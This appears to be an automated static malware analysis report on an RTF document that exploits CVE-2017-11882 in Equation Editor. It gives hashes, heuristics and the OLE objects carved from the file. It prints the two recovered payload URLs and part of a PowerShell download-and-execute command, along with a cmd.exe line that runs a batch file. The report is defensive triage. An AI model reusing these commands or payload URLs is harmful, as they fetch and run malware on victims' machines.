Malicious RTF — malware analysis report

Static analysis result for SHA-256 2851ce4be19377bb…

MALICIOUS

RTF

34.3 KB First seen: 2018-07-14
MD5: a6217db1c0f4333a5872cf7bdd0ee80f SHA-1: 43f07e35dca67bb726415b60f127f37b6a456536 SHA-256: 2851ce4be19377bbf82f9448dada4f33f626180c65097a25ecc163a82f9ede90
402 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains an embedded Equation Editor object that exploits CVE-2017-11882. This exploit is designed to download and execute a secondary payload from one of the provided URLs. The presence of shellcode and command strings within the extracted OLE object data further supports this attack pattern.

Heuristics 10

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
  • Equation Editor object class critical RTF_OBJCLASS_EQUATION
    Object class 'equation.3' references Equation Editor
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 6 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • OlePres presentation stream in RTF OLE object medium RTF_OLEPRES_STREAM
    RTF contains an embedded OLE object with an OlePres presentation stream. OlePres is an OLE presentation marker and is not enough on its own to identify CVE-2025-21298.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ccmlongueuil.ca/C3VHMY.bin In RTF body
    • http://ushnass.com/C3VHMY.binIn RTF body

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off00000047.bin rtf-objdata-decoded RTF \objdata at offset 0x47 3971 bytes
SHA-256: 2eb139749d6d4445fbc2fcd86999aa1d86e478ca0fa7b6df13d57e12f84e91b1
objdata_02_off000040f0.bin rtf-objdata-decoded RTF \objdata at offset 0x40F0 440 bytes
SHA-256: 63d43ae6eb8f8607a7a91c501e0a7ec3b8b7b149b55aaa45bd0650f69bbcfcba
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://ccmlongueuil.ca/C3VHMY.bin, http://ushnass.com/C3VHMY.bin Static shellcode analysis recovered command string(s): PowerShell ""function maked([String] $in){(New-Object System.Net.WebClient).DownloadFile($in,'%TMP%\hwoodie2.exe');Start-Process '%TMP%\hwoodie2.exe';}try{maked('http://c
objdata_05_off000068bb.bin rtf-objdata-decoded RTF \objdata at offset 0x68BB 3546 bytes
SHA-256: 9bae0f10b86d225ee22d8ff3572e6f70a93122f45a2dc642dd9deff9dda8ff87
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): cmd.exe /c %TEMP%/task.bat